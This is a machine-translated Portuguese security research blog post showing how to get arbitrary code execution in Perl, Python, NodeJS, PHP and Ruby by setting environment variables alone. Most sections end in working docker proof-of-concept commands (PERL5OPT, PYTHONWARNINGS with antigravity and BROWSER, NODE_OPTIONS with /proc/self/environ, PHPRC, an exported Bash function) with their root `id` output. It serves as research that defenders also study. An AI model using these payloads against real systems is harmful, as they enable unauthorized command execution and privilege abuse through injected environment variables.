Truques de Variável de Ambiente

Variáveis ​​de ambiente interessantes para carregar em intérpretes de linguagem de script



Introdução



Em um recente projeto de hacker, conseguimos especificar variáveis ​​de ambiente, mas não um processo em execução. Também não pudemos controlar o conteúdo do arquivo no disco, e a força bruta dos identificadores de processo (PIDs) e descritores de arquivo não deu resultados interessantes, excluindo exploits remotos LD_PRELOAD . Felizmente, um interpretador de linguagem de script foi executado, o que nos permitiu executar comandos arbitrários definindo certas variáveis ​​de ambiente. Este blog discute como comandos arbitrários podem ser executados por vários intérpretes de linguagem de script em variáveis ​​de ambiente mal-intencionadas.



Perl



Uma leitura rápida da seção da ENVIRONMENTpágina do manual perlrun(1)revela muitas variáveis ​​de ambiente que valem a pena explorar. A variável de ambiente PERL5OPTpermite definir opções de linha de comando, mas está limitada a apenas aceitar opções CDIMTUWdmtw. Infelizmente, isso significa uma falta -e, o que torna possível carregar o código perl para ser executado.



Nem tudo está perdido, no entanto, como mostrado na exploração para CVE-2016-1531 do Hacker Fantastic . A exploração grava um módulo perl malicioso em um arquivo /tmp/root.pme fornece variáveis ​​de ambiente PERL5OPT=-Mroote PERL5LIB=/ tmppara a execução de código arbitrário. No entanto, isso foi uma exploração para uma vulnerabilidade de escalonamento de privilégio local, e o método genérico idealmente não deve exigir acesso ao sistema de arquivos. Olhando paraexploit by blasty para o CVE mesmo, ele não exigia a criação de um arquivo, usava variáveis ​​de ambiente PERL5OPT=-de PERL5DB=system("sh");exit;. As mesmas variáveis ​​foram usadas para resolver o problema do CTF em 2013.



A sutileza final do método genérico é usar uma variável de ambiente em vez de duas. @justinsteven descobriu que isso é possível com PERL5OPT=-M. Enquanto o módulo perl é baixado, você pode usar -mou -M, mas uma opção -Mpermite adicionar código extra após o nome do módulo.



Prova de conceito



Exemplo 0: execução de código arbitrário com uma variável de ambiente versus perl executando um script vazio (/ dev / null)



$ docker run --env 'PERL5OPT=-Mbase;print(`id`)' perl:5.30.2 perl /dev/null
uid=0(root) gid=0(root) groups=0(root)


Pitão



A julgar pela seção ENVIRONMENT VARIABLESem mana on python(1), PYTHONSTARTUPinicialmente parece uma solução simples. Ele permite que você especifique o caminho para um script Python que será executado antes que o prompt seja exibido interativamente. O requisito para o modo interativo não parece ser um problema, pois uma variável de ambiente PYTHONINSPECTpode ser usada para entrar no modo interativo, assim como -ina linha de comando. No entanto, a documentação da opção -iexplica o PYTHONSTARTUPque não será usado quando o python for iniciado com um script para execução. Isso significa que os PYTHONSTARTUPdois PYTHONINSPECTnão podem ser combinados e PYTHONSTARTUPsó tem efeito quando o REPL do Python é iniciado imediatamente. Em última análise, isso significa quePYTHONSTARTUPnão é viável porque não tem efeito quando um script Python regular é executado.



Variáveis ​​de ambiente PYTHONHOMEe parecia promissor PYTHONPATH. Ambos permitem a execução de código arbitrário, mas exigem que você seja capaz de criar diretórios e arquivos no sistema de arquivos também. Pode ser possível relaxar esses requisitos usando um sistema de arquivos virtual / proc e / ou arquivos ZIP.



A maioria das demais variáveis ​​de ambiente é simplesmente verificada para uma string não vazia e, se for o caso, inclui uma configuração geralmente benigna. Uma das raras exceções é PYTHONWARNINGS.



Trabalhando com PYTHONWARNINGS



A documentação de PYTHONWARNINGSdiz que isso é equivalente a especificar um parâmetro -W. Este parâmetro é -Wusado para gerenciamento de alerta para especificar alertas e com que freqüência para exibi-los. A forma completa do argumento é action:message:category:module:line. Embora monitorar alertas não pareça uma pista promissora, isso mudou rapidamente após testar a implementação.



Exemplo 1: Python-3.8.2 / Lib / warnings.py



[...]
def _getcategory(category):
    if not category:
        return Warning
    if '.' not in category:
        import builtins as m
        klass = category
    else:
        module, _, klass = category.rpartition('.')
        try:
            m = __import__(module, None, None, [klass])
        except ImportError:
            raise _OptionError("invalid module name: %r" % (module,)) from None
[...]


Este código mostra que, desde que nossa categoria especificada contenha um ponto, podemos começar a importar um módulo Python arbitrário.



O próximo problema é que a grande maioria dos módulos da biblioteca padrão do Python executa muito pouco código quando importados. Normalmente, eles apenas definem as classes a serem usadas posteriormente e, mesmo quando fornecem código para execução, o código normalmente é protegido verificando a variável __main__ (para determinar se o arquivo foi importado ou executado diretamente).



Uma exceção inesperada a esta regra é o módulo antigravidade . Os desenvolvedores de Python em 2008 incluíram um ovo de páscoa que pode ser invocado executandoimport antigravity... Essa importação abrirá imediatamente um quadrinho xkcd em seu navegador, brincando que a importação de antigravidade em Python torna possível voar.



Quanto à forma como o módulo antigravityabre seu navegador, ele usa outro módulo da biblioteca padrão chamado webbrowser. Este módulo verifica seu PATH para uma ampla variedade de navegadores, incluindo mosaico, ópera, skipstone, konqueror, cromo, cromo, firefox, links, elinks e lynx. Ele também aceita uma variável de ambiente BROWSERque indica qual processo executar. Nenhum argumento pode ser fornecido para um processo em uma variável de ambiente, e o url xkcd do comic é o único argumento embutido em código para o comando.



A capacidade de transformar isso em execução de código arbitrário depende de quais outros executáveis ​​estão disponíveis no sistema.



Usando Perl para Executar Código Arbitrário



Uma abordagem é usar Perl, que geralmente é instalado no sistema e está até mesmo disponível na imagem padrão do Docker do Python. No entanto, você não pode usar o binário perlsozinho, porque o primeiro e único argumento é o url xkcd do comic. Este argumento gerará um erro e o processo será encerrado sem usar uma variável de ambiente PERL5OPT.



Exemplo 2: PERL5OPT não tem efeito quando um URL é passado para perl



$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perl https://xkcd.com/353/
Can't open perl script "https://xkcd.com/353/": No such file or directory


Felizmente, quando o Perl está disponível, scripts Perl padrão, como perldoc e perlthanks, também costumam estar disponíveis. Esses scripts também falharão com um argumento inválido, mas o erro, neste caso, ocorre depois do processamento da variável de ambiente PERL5OPT. Isso significa que você pode usar a carga útil da variável de ambiente Perl detalhada anteriormente neste blog.



Exemplo 3: PERL5OPT funciona como esperado com perldoc e perlthanks



$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perldoc https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
$ run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perlthanks https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)


Prova de conceito



Exemplo 4: execução de código arbitrário usando várias variáveis ​​de ambiente com Python 2 e Python 3



$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'

$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'


NodeJS



Michal Bentkowski postou a carga útil para o exploit Kibana (CVE-2019-7609) em seu blog . Uma vulnerabilidade de poluição de protótipo foi usada para definir variáveis ​​de ambiente arbitrárias que resultaram na execução de comandos arbitrários. A carga útil de Michal usou a variável de ambiente NODE_OPTIONSe o sistema de arquivos proc em particular /proc/self/environ.



Embora a técnica de Michal seja criativa e funcione muito bem no caso dele, nem sempre é garantido que funcione e tem algumas limitações que seria bom resolver.



A primeira limitação é que ele usa/proc/self/environapenas se o conteúdo puder ser sintaticamente válido por JavaScript. Para fazer isso, você deve ser capaz de criar uma variável de ambiente e fazê-la aparecer primeiro no conteúdo do arquivo, /proc/self/environou saber / enganar o nome da variável de ambiente que aparece primeiro e sobrescrever seu valor.



Outra limitação é que o valor da primeira variável de ambiente termina com um comentário de uma linha (//). Portanto, qualquer caractere de nova linha em outras variáveis ​​de ambiente provavelmente causará um erro de sintaxe e impedirá a execução da carga útil. O uso de comentários de várias linhas (/ *) não resolverá o problema, pois eles devem ser fechados para serem sintaticamente corretos. Portanto, nos raros casos em que uma variável de ambiente contém um caractere de nova linha, é necessário saber / cancelar a definição do nome da variável de ambiente e sobrescrever seu valor com um novo valor que não contenha uma nova linha.



Deixaremos a remoção dessas limitações como um exercício para o leitor.



Prova de conceito



Exemplo 5. Executando código arbitrário com variáveis ​​de ambiente no NodeJS de Michal Bentkowski



$ docker run -e 'NODE_VERSION=console.log(require("child_process").execSync("id").toString());//' -e 'NODE_OPTIONS=--require /proc/self/environ' node:14.2.0 node /dev/null
uid=0(root) gid=0(root) groups=0(root)


PHP



Se você executá-lo ltrace -e getenv php /dev/null, descobrirá que o PHP está usando uma variável de ambiente PHPRC. A variável de ambiente é usada ao tentar localizar e carregar um arquivo de configuração php.ini. O exploit neex para CVE-2019-11043 usa vários parâmetros PHP para forçar a execução arbitrária de código. Em Orange, Tsai também tem um excelente post sobre como criar seu próprio exploit para o CVE, que usa uma lista de configurações ligeiramente diferente. Usando esse conhecimento, junto com o conhecimento obtido de técnicas anteriores do NodeJS e alguma ajuda de Brendan Scarwell , uma solução PHP foi encontrada com duas variáveis ​​de ambiente.



Este método tem as mesmas limitações dos exemplos NodeJS.



Prova de conceito



Exemplo 6: Executando Código Arbitrário com Variáveis ​​de Ambiente em PHP



$ docker run -e $'HOSTNAME=1;\nauto_prepend_file=/proc/self/environ\n;<?php die(`id`); ?>' -e 'PHPRC=/proc/self/environ' php:7.3 php /dev/null
HOSTNAME=1;
auto_prepend_file=/proc/self/environ
;uid=0(root) gid=0(root) groups=0(root)


Rubi



Nenhuma solução universal para Ruby foi encontrada ainda. Ruby aceita uma variável de ambiente RUBYOPTpara especificar opções de linha de comando. A página do manual diz que RUBYOPT só pode conter -d, -E, -I, -K, -r, -T, -U, -v, -w, -W, --debug, --disable-FEATURE --enable-FEATURE. A opção mais promissora é -rforçar o Ruby a carregar a biblioteca usando require. No entanto, isso é limitado a arquivos com a extensão .rbou .so.



Um exemplo de arquivo relativamente útil que encontrei .rbé tools/server.rbo json gem, que está disponível após a instalação do Ruby em sistemas Fedora. Quando este arquivo é necessário, o servidor web é iniciado conforme mostrado abaixo:



Exemplo 7: Usando a variável de ambiente RUBYOPT para iniciar o processo ruby ​​e iniciar o servidor web



$ docker run -it --env 'RUBYOPT=-r/usr/share/gems/gems/json-2.3.0/tools/server.rb' fedora:33 /bin/bash -c 'dnf install -y ruby 1>/dev/null; ruby /dev/null'
Surf to:
http://27dfc3850fbe:6666
[2020-06-17 05:43:47] INFO  WEBrick 1.6.0
[2020-06-17 05:43:47] INFO  ruby 2.7.1 (2020-03-31) [x86_64-linux]
[2020-06-17 05:43:47] INFO  WEBrick::HTTPServer#start: pid=28 port=6666


Outra abordagem no Fedora é aproveitar o fato de que, na verdade, /usr/bin/rubyexiste um script Bash que é iniciado /usr/bin/ruby-mri. O script chama funções Bash que podem ser substituídas por variáveis ​​de ambiente.



Prova de conceito



Exemplo 8: Usando uma função Bash exportada para executar um comando arbitrário



$ docker run --env 'BASH_FUNC_declare%%=() { id; exit; }' fedora:33 /bin/bash -c 'dnf install ruby -y 1>/dev/null; ruby /dev/null'
uid=0(root) gid=0(root) groups=0(root)


Conclusão



Esta postagem examinou alguns casos de uso interessantes para variáveis ​​de ambiente que podem ajudar a obter a execução arbitrária de código por meio de vários interpretadores de linguagem de script sem gravar arquivos no disco. Espero que você tenha gostado de ler e esteja interessado em encontrar e compartilhar cargas úteis aprimoradas para essas e outras linguagens de script. Se você encontrar uma técnica genérica que funcione contra Ruby, será muito interessante ouvir sobre ela.



Veja também: " Dotfile Madness "



All Articles